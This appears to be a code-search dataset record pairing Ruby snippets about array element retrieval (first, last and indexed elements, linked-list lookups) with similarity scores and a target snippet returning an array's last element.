"def all_elements_except_first_3(array)\n array[3..-1]\nend",
"def third\n at(2)\n end",
"def get_item(index_num)\r\n @arr.fetch(index_num)\r\n end",
"def all_elements_except_first_3(array)\n array[3..-1]\nend",
"def get_at_index(index)\n return nil if index > length\n return get_at_index_helper(index, 0, @head)\n end",
"def third_greatest(array)\n\t\n\tsorted_array = array.sort\n\tsorted_array[-3]\n\t\nend",
"def element_at(arr, index)\n arr[index]\nend",
"def at(index)\n each.with_index { |v, i| return v if i == index }\n return nil\n end",
"def get(index)\n\t\tif length/2 >= index \n\t\t\ttmp = @first\n\t\t\thalf = false \n\t\t\tcount = 1\n\t\telse \n\t\t\ttmp = @last\n\t\t\thalf = true\n\t\t\tcount = @length\n\t\tend\n\n\t\tuntil count==index\n\t\t\tif half\n\t\t\t\ttmp = tmp.back \n\t\t\t\tcount-=1\n\t\t\telse\n\t\t\t\ttmp = tmp.front\n\t\t\t\tcount+=1\n\t\t\tend\n\t\tend\n\t\ttmp\n\tend",
"def by_index(index)\n @arr[index]\n end",
"def test_arrayget_on_negative_index\n collection = Geom::Point3d.new(1,2,3)\n expected = 3\n result = collection[-1]\n assert_equal(expected, result,\n 'Expected does not match result.')\n end",
"def third_largest(arr)\n arr.sort[-3]\nend",
"def all_elements_except_first_3 list\n list[3, list.length - 3]\nend",
"def [](index)\n i = 0\n each { |x| return x if i == index; i += 1 }\n nil # out of index\n end",
"def custom_first(arr, num = 0)\n return arr[0] if num == 0\n arr[0, num]\nend",
"def custom_first(arr, num=0)\n return arr[0] if num == 0\n arr[0, num]\nend",
"def last_two(array)\n array.last(2)\nend",
"def at(index)\n return nil if @head.nil? \n return @head if index == 1\n return nil if index > self.size\n self.each_with_index do |current, ind|\n return current if ind == index\n end\n\n end",
"def [](offset = 0)\n array_element(-1 - offset)\n end",
"def element_at(arr, index)\n arr[index]\n # or arr.at(index)\nend",
"def get(index)\n @array_list.get(index)\n end",
"def element_at(arr, index)\n # return the element of the Array variable `arr` at the position `index`\n # arr.at(index) # or\n # arr[index]\n return arr[index]\nend",
"def find_middle_value\r\n middle_index = self.length/2\r\n return get_at_index(middle_index)\r\n end",
"def get_index(position:)\n row = (position - 1) / 3\n col = (position - 1) % 3\n return row, col\n end",
"def element_at(arr, index)\n # return the element of the Array variable `arr` at the position `index`\n # arr.at(index) # or\n # arr[index]\n arr[index] \n end",
"def all_elements_except_first_3(num_array)\n 3.times {\n num_array.shift\n }\n return num_array\nend",
"def element_selection(array)\n puts array[0]\n puts array[-1]\n puts array.first(2)\n return array.last(2)\nend",
"def []( index )\r\n @ary.at(index + @offset)\r\n end",
"def element_at(arr, index)\n # return the element of the Array variable `arr` at the position `index`\n # arr.at(index) # or\n # arr[index]\n arr[index]\nend",
"def get(i)\n raise SparseArrayError, \"SparseArrays do not support negative indexing\" if i < 0\n \n i.downto(i-@span+1) do |k|\n return @data[k] if @data.include?(k)\n end\n \n return nil\n end",
"def get(index)\n raise \"Only positive indexes, #{index}\" if index <= 0\n if index > self.get_length\n return nil\n else\n return internal_object_get(index + 1)\n end\n end",
"def at( index )\r\n @ary.at(index + @offset)\r\n end",
"def [](offset = 0)\n return self.array_element(- 1 + offset)\n end",
"def mod_three(arr)\n\tarr.select {|x| x % 3 != 0}.map {|x| x % 3}\nend",
"def third_to_last\n self[-3]\n end",
"def at(index)\n\t\tx = @head\n\t\ty = 0\n\t\tuntil x == nil\n\t\t\tif y == index\n\t\t\t\treturn x\n\t\t\tend\n\t\t\ty += 1\n\t\t\tx = x.next\n\t\tend\n\tend",
"def a_offset(num_array)\n last_four(num_array)[0].to_i\n end",
"def get_row_from_index(index)\n return (index - 1)/8 + 1\n end",
"def all_elements_except_first_3 array\n\tarray = [1,2,3,4,5,6,7].last(4)\nend",
"def tail(idx)\n (idx - 1) % 3 > 0 ? 1\n : (idx + 2) / 3 * 2\nend",
"def magic_index(ary)\n find_magic_index(ary, ary.length/2, 0, ary.length - 1)\nend",
"def custom_first(arr, num_of_elements = 0)\n return arr[0] if num_of_elements == 0\n arr[0, num_of_elements]\nend",
"def pick_index()\n target = rand(@array[-1][0])\n @array.bsearch { |x, _| x > target }.last\n end",
"def kth(k)\n self[k - 1]\n end",
"def [](index)\n @items[index - 1]\n end",
"def [](index)\n @items[index - 1]\n end",
"def [](index)\n raise ArgumentError, \"index must be < #{size}\" if index >= size\n number[index]\n end",
"def get_at_index(index)\r\n return nil unless @head\r\n return nil if index < 0\r\n cursor = @head\r\n index.times do\r\n return nil unless cursor.next\r\n cursor = cursor.next\r\n end\r\n return cursor.data\r\n end",
"def [](indx)\n elements[indx]\n end",
"def get(index)\n\t\traise OutOfBoundsException if index >= @size\n\t\t@data[index]\n\tend",
"def get(index)\n\t\traise OutOfBoundsException if index >= @size\n\t\t@data[index]\n\tend",
"def nth_from_array_or_range\n C.curry.(\n ->(xs, n) {\n xs.is_a?(Range) ? xs.first(n) : S.take.(xs, n)\n }\n )\n end",
"def find_k(k,arr)\n\t#need to sort the array\n\t#then can do negative index to find it\n\t#we can use quicksort\n\tdriver(lt,rt)\n\t#its sorted\n\t#then find the kth element, easy\n\tk = k * -1\n\tarr[k]\nend",
"def item(index)\n each_with_index { |item, ix| return item if index == ix } && nil\n end",
"def nth_polyfill(list, index)\n index = index.value\n list = list.value\n index = list.length + index + 1 if index < 0\n list[index - 1]\n end",
"def at(index)\n self[index]\n end",
"def find_magic_index(array)\n array.each_with_index do |element, index|\n if element == index \n return element\n end \n end \n -1 \nend",
"def z\n self[2]\n end",
"def get_at_index(index)\n # return nil unless @head\n if @head == nil\n return nil\n end\n current = @head\n index.times do \n # return nil unless current.next\n if current.next == nil #check if index is out of bounds\n return nil\n end\n current = current.next\n end\n return current.data\n end",
"def at(index); end",
"def fourth\n at(3)\n end",
"def [](index)\n # Handle a negative index\n index = size + index if index < 0\n\n # Get or create the dependency\n dep = (@array_deps[index] ||= Dependency.new)\n\n # Track the dependency\n dep.depend\n\n # Return the index\n @array[index]\n end",
"def [](n)\n @data[n]\n end",
"def id3(index)\n i = get_field_index_by_external_id(index,@fields[:id_3])\n fields(index, i).to_i unless i.nil?\n end",
"def peek()\n @arr[1]\n end",
"def swill(array)\n puts array[3]\nend",
"def w\n self[3]\n end",
"def [](point)\n @array[point.first][point.last]\n end",
"def middle_in_array(array)\n array[array.length / 2]\nend",
"def get_row_from_index(index)\n (index - 1) / 8 + 1\n end",
"def all_elements_except_first_3(array)\n\tn = [1, 2, 3, 4, 5, 6, 7]\n\tn.slice(3..6)\nend",
"def all_elements_except_first_3(array)\n array.drop(3)\nend",
"def all_elements_except_first_3(array)\n array.drop(3)\nend",
"def get_perlin_item_1d(x, array)\n array[get_perlin_int_1d(x, 0, array.length-1)]\n end",
"def get_perlin_item_1d(x, array)\n array[get_perlin_int_1d(x, 0, array.length-1)]\n end",
"def get(index)\n @list[index] || -1\n end",
"def find(index)\n x = index\n while @parent_array[x] != 0\n x = @parent_array[x]\n end\n return x\n end",
"def third_chop needle, haystack\r\n ind = haystack.index needle\r\n\r\n return ind if ind\r\n -1\r\nend",
"def retrieve_first_element_from_array(array)\n array[0]\nend",
"def index(element); end",
"def custom_first(arr,num=0)\n return arr[0] if num==0\n arr[0...num]\nend",
"def every_third(arr)\n new_arr = []\n arr.each_with_index do |letter, idx|\n new_arr.push(letter) if (idx + 1) % 3 == 0\n end\n new_arr\nend",
"def three_b num\n a = prime_factorization num\n return a[a.size-2]\nend",
"def all_elements_except_first_3 a\n a.shift\n a.shift\n a.shift\n return a\nend",
"def find_middle_array_element(array)\n\n return 0 if array.size == 1 \n if array.size.odd?\n array.size/2\n elsif array.size.even? \n (array.size/2) - 1\n end\n\nend",
"def input_to_index(argument)\n index=argument.to_i-1\n\n # arrray=[\" \",\" \",\" \",\" \",\" \",\" \",\" \",\" \",\" \",]\n # array[index]=\"x\"\nend",
"def element(n, list)\n list[n - 1]\n end",
"def item_at_index(array, indices)\n item = array\n indices.each do |each|\n item = item.slice(each)\n end\n item\n end"
] |
[
"0.8191679",
"0.8191679",
"0.74076474",
"0.71739304",
"0.7130169",
"0.7130169",
"0.7129903",
"0.68370366",
"0.6692258",
"0.6653406",
"0.6650568",
"0.6565498",
"0.656183",
"0.6558826",
"0.65417784",
"0.65415776",
"0.65084416",
"0.64786696",
"0.6467208",
"0.6461499",
"0.64613926",
"0.6439426",
"0.640771",
"0.6392756",
"0.63847613",
"0.6354515",
"0.6339027",
"0.631696",
"0.6298849",
"0.6274227",
"0.6260411",
"0.6237695",
"0.62206954",
"0.61581373",
"0.6140211",
"0.61393565",
"0.61387104",
"0.612019",
"0.6110194",
"0.6089411",
"0.6086012",
"0.60794306",
"0.6078744",
"0.606883",
"0.6056042",
"0.604987",
"0.6032511",
"0.6028263",
"0.60271865",
"0.60226506",
"0.6017679",
"0.6009892",
"0.6006552",
"0.5989149",
"0.5987302",
"0.5982122",
"0.5975002",
"0.5975002",
"0.5968736",
"0.59676236",
"0.5956269",
"0.59344566",
"0.59344566",
"0.5933849",
"0.5906058",
"0.58958364",
"0.5884742",
"0.5881547",
"0.5869298",
"0.5868365",
"0.5867285",
"0.5866768",
"0.58629775",
"0.58516806",
"0.58475363",
"0.58188057",
"0.5818218",
"0.58163",
"0.58141273",
"0.58124405",
"0.58061427",
"0.5802896",
"0.5798438",
"0.57918483",
"0.57918483",
"0.57780534",
"0.57780534",
"0.5777108",
"0.57768834",
"0.5774736",
"0.57656956",
"0.5756022",
"0.57549405",
"0.5751007",
"0.5738084",
"0.5734261",
"0.57309014",
"0.57167804",
"0.5711008",
"0.57095915"
] |
0.7180012
|
3
|
retrieving the last element from the array, using a negative index
|
def last_element(array)
taylor_swift = ["Welcome to New York", "Blank Space", "Style", "Out of The Woods"]
taylor_swift[-1]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def last_of(arr)\n index = arr.length\n return arr[index -1]\nend",
"def last_of(array)\n return array[-1]\nend",
"def retrieve_last_element_from_array(array)\n return array[-1]\nend",
"def last_of(arr)\n output = arr[-1]\n return output\nend",
"def get_last_item(arr)\n\treturn arr[-1]\nend",
"def last_of(array)\n return array[array.length - 1]\nend",
"def last_of(array)\n return array[array.length - 1]\nend",
"def last_of(arr)\n return arr[-1]\nend",
"def last(array)\n array[-1]\nend",
"def retrieve_last_element_from_array(array)\n array[array.length-1]\nend",
"def last_of(arr)\n return arr[arr.length-1]\nend",
"def last_element(array)\n array[-1]\nend",
"def lastof(arr)\n return arr[arr.length - 1]\nend",
"def last_item(elective_array)\n return elective_array[-1]\nend",
"def lastElement(arr)\n return arr[arr.length - 1]\nend",
"def last\n @rarray.reverse.first \n end",
"def retrieve_last_element_from_array(array)\n array.last\nend",
"def using_last(array)\n last_element=array.last\nend",
"def my_but_last(array)\n\tarray.size - 1\nend",
"def using_last(array)\narray.last\nend",
"def tail\n \t@array[-1]\n end",
"def using_last(array)\n array.last\n# returns last item in array \nend",
"def last_index(arr)\n\ti = arr.size - 1\n\twhile i >= 0 && arr[i] == -1\n\t\ti -= 1\n\tend\n\ti\nend",
"def last(n=nil)\n return self[-1] if n.nil?\n \n start = length-n\n start = 0 if start < 0\n self[start, n]\n end",
"def using_last(array)\n array.last\nend",
"def using_last(array)\n array.last\nend",
"def last\n at(-1)\n end",
"def exclude_last(arr)\n arr[0..-2]\n end",
"def last_two(array)\n array.last(2)\nend",
"def last\n all[all.size - 1]\n end",
"def exclude_last (array)\n array[0..-2]\nend",
"def last\n self[*Array.new(self.dim, -1)]\n end",
"def second_last\n return nil if (size-2) < 0\n self[size-2]\n end",
"def last\r\n self[-1]\r\n end",
"def last(list)\n list[-1]\nend",
"def last\n self.slice(self.size - 1)\n end",
"def last\n self[-1]\n end",
"def remove_retrieve_last\n # @array.pop\n @array.slice!(0)\n end",
"def last_i\n size - 1\n end",
"def last_index\n entries.any? ? entries.size - 1 : nil\n end",
"def last\n self[-1]\n end",
"def last(n = 1)\n return self.clone if n >= self.size\n return self[-1] if n == 1\n return self.reverse[0...n].reverse\n end",
"def last\n out = nil\n\n each {|i| out = i }\n\n out\n end",
"def exclude_last(arr)\n arr.slice!(arr.length-1,1)\n return arr\n end",
"def lastElement\n return @stk[@count]\n end",
"def butlast\n if self.empty?\n []\n else\n self[0..-2]\n end\n end",
"def peek\n underlying_array.last\n end",
"def last_item(electives)\n electives[electives.length - 1] #length -1 so it can be used with any number of items, counting starts at 0\nend",
"def non_mutate(array)\n array.last\nend",
"def last(n = nil)\n if n\n self[-n..-1]\n else\n self[-1]\n end\n end",
"def peek_last\n raise 'No such element' if @size == 0\n @tail.value\n end",
"def last\n to_a.last\n end",
"def tail\n @values[1..-1]\n end",
"def last?\n self.index == (self.array.length - 1)\n end",
"def second_to_last\n self[-2]\n end",
"def last_element_with_array_methods(array)\n array.last\nend",
"def no_mutate(array)\n\tarray.last\nend",
"def last\n @tail.val\n end",
"def last(numbers, int)\n numbers.last(int)\nend",
"def top()\n @array[-1][0]\n end",
"def last_output\n return @output_array[-1]\n end",
"def last_output\n return @output_array[-1]\n end",
"def last_output\n return @output_array[-1]\n end",
"def last_output\n return @output_array[-1]\n end",
"def last(*n) end",
"def last\n contents[contents.size - 1]\n end",
"def last\n @tail\n end",
"def puts_index_last(ary = [10, 20, 30, 40, 50, 60, 70, 80, 90])\n new_ary = ary.select { |el| el != ary[0] && el != ary[-1] }\n puts new_ary.index(new_ary[-1])\nend",
"def last(n = 1)\n return @history[-n] ;\n end",
"def array_method(input)\n\treturn input[-1]\nend",
"def third_to_last\n self[-3]\n end",
"def last_index\n @last_index\n end",
"def get_last\n if length == 0\n return nil?\n elsif length == 1\n return @head.data\n else\n current = @head\n (length - 1).times do\n current = current.next\n end\n return current.data\n end\n end",
"def last n=nil\n if n.nil? or n == 1\n return the_last\n elsif n <= 0\n return Cons[]\n else\n return nthcdr length-n\n end\n end",
"def get_last\n return @tail ? @tail.data : nil\n end",
"def get_last\n return @position\n end",
"def last(limit = 1)\n reverse.take(limit).reverse\n end",
"def remove_element_from_end_of_array(array)\n return array.pop\nend",
"def last(*args)\n find_first_or_last(:last, *args)\n end",
"def rest\n self[1..-1]\n end",
"def [](offset = 0)\n array_element(-1 - offset)\n end",
"def last(series, control, count=1)\n slice(series, control, count * -1, -1)\n end",
"def [](offset = 0)\n return self.array_element(- 1 + offset)\n end",
"def last_element_with_array_methods(array)\n south_east_asia = [\"Thailand\", \"Cambodia\", \"Singapore\", \"Myanmar\"]\n south_east_asia.last\n end",
"def puts_last array\n puts array.last \nend",
"def last\n return @rear.head unless @rear.empty?\n @front.last # memoize?\n end",
"def search_last(array, range=nil, &block)\n # `- 1' for canceling `lower + 1' in bsearch_upper_boundary.\n boundary = search_upper_boundary(array, range, &block) - 1\n\n if (boundary <= -1 || yield(array[boundary]) != 0)\n return nil\n else\n return boundary\n end\n end",
"def no_mutate(array)\n array.last\nend",
"def no_mutate(array)\n array.last\nend",
"def no_mutate(array)\n array.last\nend",
"def no_mutate(array)\n array.last\nend",
"def no_mutate(array)\n array.last\nend",
"def last_row\n @data.length - 1\n end",
"def max\n return -1 if @count == 0\n return @array[0]\n end",
"def last_index()\n first_empty = sets.find_index(&:empty?)\n index = if first_empty.nil?\n sets.size - 1\n else\n first_empty.zero? ? 0 : first_empty - 1\n end\n\n return index\n end",
"def last_index()\n first_empty = sets.find_index(&:empty?)\n index = if first_empty.nil?\n sets.size - 1\n else\n first_empty.zero? ? 0 : first_empty - 1\n end\n\n return index\n end",
"def last\n @range.last\n end",
"def together_last(index = nil)\n if_not_contain_array_rails_type_error\n each_return = index == 0 ? '[]' : index.nil? ? 'list.last' : 'list.last(index)'\n reduce([]) { |ret, list|ret << eval(each_return, binding) }\n end",
"def first_last(arr)\n\treturn [arr[0], arr[-1]]\nend",
"def last\n items.compact.last\n end"
] |
[
"0.8701589",
"0.8603096",
"0.85548013",
"0.8546728",
"0.8479077",
"0.84609705",
"0.84609705",
"0.84331214",
"0.84303933",
"0.84109396",
"0.8396854",
"0.8367534",
"0.8350651",
"0.83101326",
"0.823484",
"0.8061708",
"0.80611384",
"0.8052332",
"0.79958844",
"0.7982199",
"0.79407483",
"0.7921368",
"0.7879065",
"0.7737015",
"0.7733549",
"0.7733549",
"0.7692166",
"0.76112646",
"0.75838935",
"0.757152",
"0.7563326",
"0.75206554",
"0.751598",
"0.7457806",
"0.7423028",
"0.74125797",
"0.737394",
"0.7358175",
"0.7357876",
"0.73024654",
"0.72755",
"0.72497636",
"0.7245878",
"0.72441816",
"0.72426313",
"0.720545",
"0.71930456",
"0.7185595",
"0.7180171",
"0.71752554",
"0.71697056",
"0.7140697",
"0.7137165",
"0.7090618",
"0.70770824",
"0.7075847",
"0.706993",
"0.70694214",
"0.7065398",
"0.7038529",
"0.70300674",
"0.70300674",
"0.70300674",
"0.70300674",
"0.7008856",
"0.7005767",
"0.6986072",
"0.69757175",
"0.69755465",
"0.6967817",
"0.69514436",
"0.69459337",
"0.6925851",
"0.68639976",
"0.6858693",
"0.68550813",
"0.6841654",
"0.682626",
"0.68237555",
"0.6817643",
"0.68151003",
"0.6807315",
"0.6805287",
"0.67981315",
"0.679751",
"0.6766928",
"0.67668134",
"0.67638505",
"0.67638505",
"0.67638505",
"0.67638505",
"0.67638505",
"0.67633545",
"0.673517",
"0.6732342",
"0.6732342",
"0.67156005",
"0.670909",
"0.6700014",
"0.6691703"
] |
0.7722881
|
26
|
element returned from array without referencing the index number of element
|
def first_element_with_array_methods(array)
south_east_asia = ["Thailand", "Cambodia", "Singapore", "Myanmar"]
south_east_asia.first
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def retrieve_element_from_index(array, index_number)\n return array[index_number]\nend",
"def retrieve_element_from_index(array, index_number)\n array[index_number]\nend",
"def retrieve_element_from_index(array, index_number)\n array[index_number]\nend",
"def element_at(arr, index)\n arr[index]\nend",
"def element i=0\n @array[i]\n end",
"def [](offset = 0)\n array_element(-1 - offset)\n end",
"def [](offset = 0)\n return self.array_element(- 1 + offset)\n end",
"def [](indx)\n elements[indx]\n end",
"def third_element(array)\n array[2]\nend",
"def third_element(array)\n array[2]\nend",
"def at(array, i)\n array[i]\nend",
"def retrieve_first_element_from_array(array)\n array[0]\nend",
"def element_at(arr, index)\n arr[index]\n # or arr.at(index)\nend",
"def at(index)\n \t@array[index]\n end",
"def retrieve_first_element_from_array(array)\n return array[0]\nend",
"def first_element(array)\n array[0]\nend",
"def index(element); end",
"def [] i\n @array[i]\n end",
"def [] num\n array = self.to_a\n if num > array.length\n raise \"Could not find #{num} elements matching #{self}, found #{array.length}\"\n end\n element = array[num]\n element\n end",
"def [](index)\n i = 0\n each { |x| return x if i == index; i += 1 }\n nil # out of index\n end",
"def [](i)\n @elements[i]\n end",
"def first_of(array)\n output = array[0]\n return output\nend",
"def get_item(index_num)\r\n @arr.fetch(index_num)\r\n end",
"def element_at(arr, index)\n # return the element of the Array variable `arr` at the position `index`\n # arr.at(index) # or\n # arr[index]\n return arr[index]\nend",
"def first_of(array)\n return array[0]\nend",
"def first_of(array)\n return array[0]\nend",
"def retrieve_first_element_from_array(array)\n array.first\nend",
"def element_at(arr, index)\n # return the element of the Array variable `arr` at the position `index`\n # arr.at(index) # or\n # arr[index]\n arr[index]\nend",
"def [](index)\n return @elements[index] if index.kind_of? Numeric\n return @element_map[index] if @element_map[index] \n return @element_map[index.to_s] \n end",
"def []( index )\r\n @ary.at(index + @offset)\r\n end",
"def first_item(elective_array)\n return elective_array[0]\nend",
"def get_first_element(arr)\n return arr.first()\nend",
"def get_first_element(arr)\n arr.first\nend",
"def [](i)\n i = i + size if i < 0\n i >= size || i < 0 ? nil : @elements[i]\n end",
"def element\n @collection[index]\n end",
"def custom_first(arr, num = 0)\n return arr[0] if num == 0\n arr[0, num]\nend",
"def [](i)\n @elem[i]\n end",
"def [](i); @x[i]; end",
"def custom_first(arr, num=0)\n return arr[0] if num == 0\n arr[0, num]\nend",
"def peek()\n @arr[1]\n end",
"def peek\r\n @arr[0]\r\n end",
"def element_at(arr, index)\n # return the element of the Array variable `arr` at the position `index`\n # arr.at(index) # or\n # arr[index]\n arr[index] \n end",
"def find_magic_index(array)\n array.each_with_index do |element, index|\n if element == index \n return element\n end \n end \n -1 \nend",
"def by_index(index)\n @arr[index]\n end",
"def first_of(arr)\n return arr[0]\nend",
"def first_of(arr)\n return arr[0]\nend",
"def first_of(arr)\n return arr[0]\nend",
"def first_element_with_array_methods\n @taylor_swift.index (0)\n end",
"def custom_first(arr, num_of_elements = 0)\n return arr[0] if num_of_elements == 0\n arr[0, num_of_elements]\nend",
"def get(index)\n raise \"Only positive indexes, #{index}\" if index <= 0\n if index > self.get_length\n return nil\n else\n return internal_object_get(index + 1)\n end\n end",
"def first(arr)\n return arr[0]\nend",
"def elem(i)\r\n @elemek[i]\r\n end",
"def element_selection(array)\n puts array[0]\n puts array[-1]\n puts array.first(2)\n return array.last(2)\nend",
"def head\n \t@array[0]\n end",
"def magic_index(array)\n array.each_with_index do |val, index|\n return index if val == index\n end\n \"no magic index\"\nend",
"def [](e)\n return @elements[e]\n end",
"def at(idx)\n Ruby.primitive :array_aref\n end",
"def x; return self[0]; end",
"def return_edinburgh(array)\n return array[1]\nend",
"def get_random_element_without_new_array\n\trandom_number = rand(1..length_of_mystery_array)\n# It is necessary to create a variable for this so that the value in the \n# conditional on line 50 will be the same as what was used in line 48.\n\trandom_number.times do |i|\n\t\telement = get_element\n\t\treturn element if i == random_number - 1\n# i is compared to random_number -1 to account for the iteration beginning at 0.\n\tend \nend",
"def whats_in_front\n @array[0]\n end",
"def array_method(input)\n\treturn input[-1]\nend",
"def [](i)\n\t\t\t@elements[i]\n\t\tend",
"def first_index(arr, &prc)\n arr.each.with_index do |ele, idx| \n return idx if prc.call(ele)\n end\n nil\nend",
"def get_at_index(index)\n return nil if index > length\n return get_at_index_helper(index, 0, @head)\n end",
"def [](index)\n raise ArgumentError, \"index must be < #{size}\" if index >= size\n number[index]\n end",
"def using_first(array)\narray.first\nend",
"def get(index)\n @array_list.get(index)\n end",
"def first_index(arr, &prc)\n\n arr.each_with_index do |ele, i|\n return i if prc.call(ele)\n end\n return nil\nend",
"def item(index)\n each_with_index { |item, ix| return item if index == ix } && nil\n end",
"def at( index )\r\n @ary.at(index + @offset)\r\n end",
"def calls_array\n a = return_array\n a[1]\n end",
"def [](*index)\n\n if (index.size != 0)\n @local_index[*index]\n elsif (@local_iterator)\n @local_iterator.get_current\n else\n raise \"No iterator defined! Cannot get element\"\n end\n\n end",
"def using_first(array)\n first_element=array.first\nend",
"def peek\n underlying_array.last\n end",
"def first_index(arr, &proc)\r\n arr.each_with_index { |el, i| return i if proc.call(el) }\r\n nil\r\nend",
"def get_perlin_item_1d(x, array)\n array[get_perlin_int_1d(x, 0, array.length-1)]\n end",
"def get_perlin_item_1d(x, array)\n array[get_perlin_int_1d(x, 0, array.length-1)]\n end",
"def get_single_element\n i = 0\n while i < (@bits.attr_length << LOG_BITS)\n if (member(i))\n return i\n end\n i += 1\n end\n return Label::INVALID\n end",
"def element(n, list)\n list[n - 1]\n end",
"def index\n @array = [45, 6, 32, 0]\n end",
"def [](idx)\n Ruby.primitive :array_aref\n end",
"def x() self[0]; end",
"def item\n return @data[@index] if @index >= 0\n @data[@old_index]\n end",
"def [](index)\n all[index]\n end",
"def get_position_or_immediate(i, num, array, param_mode)\n input = if param_mode == 1\n array[i + num]\n else\n array[array[i + num]]\n end\n input\nend",
"def magic_index(ary)\n find_magic_index(ary, ary.length/2, 0, ary.length - 1)\nend",
"def [](i)\n \t@vector[i] \n end",
"def using_first(array)\n array.first\nend",
"def using_first(array)\n array.first\nend",
"def using_first(array)\n array.first\nend",
"def using_first(array)\n array.first\nend",
"def [](p0) end",
"def [](p0) end",
"def [](index)\n @val[index]\n end",
"def index(element)\n each_with_index { |e, index| return index if e == element }\n nil\n end",
"def next()\n x = @arr[@i]\n @i += 1\n x\n end",
"def e\r\n a = [1, 2, 1.0]\r\n a[0]\r\nend",
"def find(index)\n x = index\n while @parent_array[x] != 0\n x = @parent_array[x]\n end\n return x\n end",
"def first_element(my_first_element)\n my_first_element = @taylor_swift[1-1]\nend",
"def [](n)\n @data[n]\n end"
] |
[
"0.76461035",
"0.75070083",
"0.75070083",
"0.74518067",
"0.7345736",
"0.7332213",
"0.73040915",
"0.7272523",
"0.7241433",
"0.7241433",
"0.71426046",
"0.70967346",
"0.70648426",
"0.705631",
"0.7038391",
"0.7021866",
"0.7018362",
"0.70133024",
"0.6966508",
"0.6959439",
"0.6939483",
"0.6937574",
"0.69200855",
"0.692003",
"0.6880894",
"0.6880894",
"0.6874613",
"0.68416333",
"0.6840935",
"0.680447",
"0.68043053",
"0.6785014",
"0.6781802",
"0.6773275",
"0.67645234",
"0.6761807",
"0.6760413",
"0.6759267",
"0.673865",
"0.67330486",
"0.67268336",
"0.67220056",
"0.6719255",
"0.67007434",
"0.6686787",
"0.6686787",
"0.6686787",
"0.6682609",
"0.6680542",
"0.66573983",
"0.6629515",
"0.662688",
"0.6615916",
"0.6594405",
"0.6544832",
"0.65428114",
"0.65162665",
"0.6501454",
"0.64980793",
"0.6496334",
"0.649175",
"0.648976",
"0.64868844",
"0.64716315",
"0.6467199",
"0.6459145",
"0.6456927",
"0.6425281",
"0.6420538",
"0.6409819",
"0.6398838",
"0.63926953",
"0.6389585",
"0.6384308",
"0.63642335",
"0.63625705",
"0.63462067",
"0.63462067",
"0.63426924",
"0.63164407",
"0.63091964",
"0.6308592",
"0.63027054",
"0.6296957",
"0.6296676",
"0.62887585",
"0.626803",
"0.6264005",
"0.6258606",
"0.6258606",
"0.6258606",
"0.6258606",
"0.62577647",
"0.62577647",
"0.6255463",
"0.62546134",
"0.6247678",
"0.6237203",
"0.6235541",
"0.62324417",
"0.6230489"
] |
0.0
|
-1
|
element returned from array without referencing the index number of element
|
def last_element_with_array_methods(array)
south_east_asia = ["Thailand", "Cambodia", "Singapore", "Myanmar"]
south_east_asia.last
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def retrieve_element_from_index(array, index_number)\n return array[index_number]\nend",
"def retrieve_element_from_index(array, index_number)\n array[index_number]\nend",
"def retrieve_element_from_index(array, index_number)\n array[index_number]\nend",
"def element_at(arr, index)\n arr[index]\nend",
"def element i=0\n @array[i]\n end",
"def [](offset = 0)\n array_element(-1 - offset)\n end",
"def [](offset = 0)\n return self.array_element(- 1 + offset)\n end",
"def [](indx)\n elements[indx]\n end",
"def third_element(array)\n array[2]\nend",
"def third_element(array)\n array[2]\nend",
"def at(array, i)\n array[i]\nend",
"def retrieve_first_element_from_array(array)\n array[0]\nend",
"def element_at(arr, index)\n arr[index]\n # or arr.at(index)\nend",
"def at(index)\n \t@array[index]\n end",
"def retrieve_first_element_from_array(array)\n return array[0]\nend",
"def first_element(array)\n array[0]\nend",
"def index(element); end",
"def [] i\n @array[i]\n end",
"def [] num\n array = self.to_a\n if num > array.length\n raise \"Could not find #{num} elements matching #{self}, found #{array.length}\"\n end\n element = array[num]\n element\n end",
"def [](index)\n i = 0\n each { |x| return x if i == index; i += 1 }\n nil # out of index\n end",
"def [](i)\n @elements[i]\n end",
"def first_of(array)\n output = array[0]\n return output\nend",
"def get_item(index_num)\r\n @arr.fetch(index_num)\r\n end",
"def element_at(arr, index)\n # return the element of the Array variable `arr` at the position `index`\n # arr.at(index) # or\n # arr[index]\n return arr[index]\nend",
"def first_of(array)\n return array[0]\nend",
"def first_of(array)\n return array[0]\nend",
"def retrieve_first_element_from_array(array)\n array.first\nend",
"def element_at(arr, index)\n # return the element of the Array variable `arr` at the position `index`\n # arr.at(index) # or\n # arr[index]\n arr[index]\nend",
"def [](index)\n return @elements[index] if index.kind_of? Numeric\n return @element_map[index] if @element_map[index] \n return @element_map[index.to_s] \n end",
"def []( index )\r\n @ary.at(index + @offset)\r\n end",
"def first_item(elective_array)\n return elective_array[0]\nend",
"def get_first_element(arr)\n return arr.first()\nend",
"def get_first_element(arr)\n arr.first\nend",
"def [](i)\n i = i + size if i < 0\n i >= size || i < 0 ? nil : @elements[i]\n end",
"def element\n @collection[index]\n end",
"def custom_first(arr, num = 0)\n return arr[0] if num == 0\n arr[0, num]\nend",
"def [](i)\n @elem[i]\n end",
"def [](i); @x[i]; end",
"def custom_first(arr, num=0)\n return arr[0] if num == 0\n arr[0, num]\nend",
"def peek()\n @arr[1]\n end",
"def peek\r\n @arr[0]\r\n end",
"def element_at(arr, index)\n # return the element of the Array variable `arr` at the position `index`\n # arr.at(index) # or\n # arr[index]\n arr[index] \n end",
"def find_magic_index(array)\n array.each_with_index do |element, index|\n if element == index \n return element\n end \n end \n -1 \nend",
"def by_index(index)\n @arr[index]\n end",
"def first_of(arr)\n return arr[0]\nend",
"def first_of(arr)\n return arr[0]\nend",
"def first_of(arr)\n return arr[0]\nend",
"def first_element_with_array_methods\n @taylor_swift.index (0)\n end",
"def custom_first(arr, num_of_elements = 0)\n return arr[0] if num_of_elements == 0\n arr[0, num_of_elements]\nend",
"def get(index)\n raise \"Only positive indexes, #{index}\" if index <= 0\n if index > self.get_length\n return nil\n else\n return internal_object_get(index + 1)\n end\n end",
"def first(arr)\n return arr[0]\nend",
"def elem(i)\r\n @elemek[i]\r\n end",
"def element_selection(array)\n puts array[0]\n puts array[-1]\n puts array.first(2)\n return array.last(2)\nend",
"def head\n \t@array[0]\n end",
"def magic_index(array)\n array.each_with_index do |val, index|\n return index if val == index\n end\n \"no magic index\"\nend",
"def [](e)\n return @elements[e]\n end",
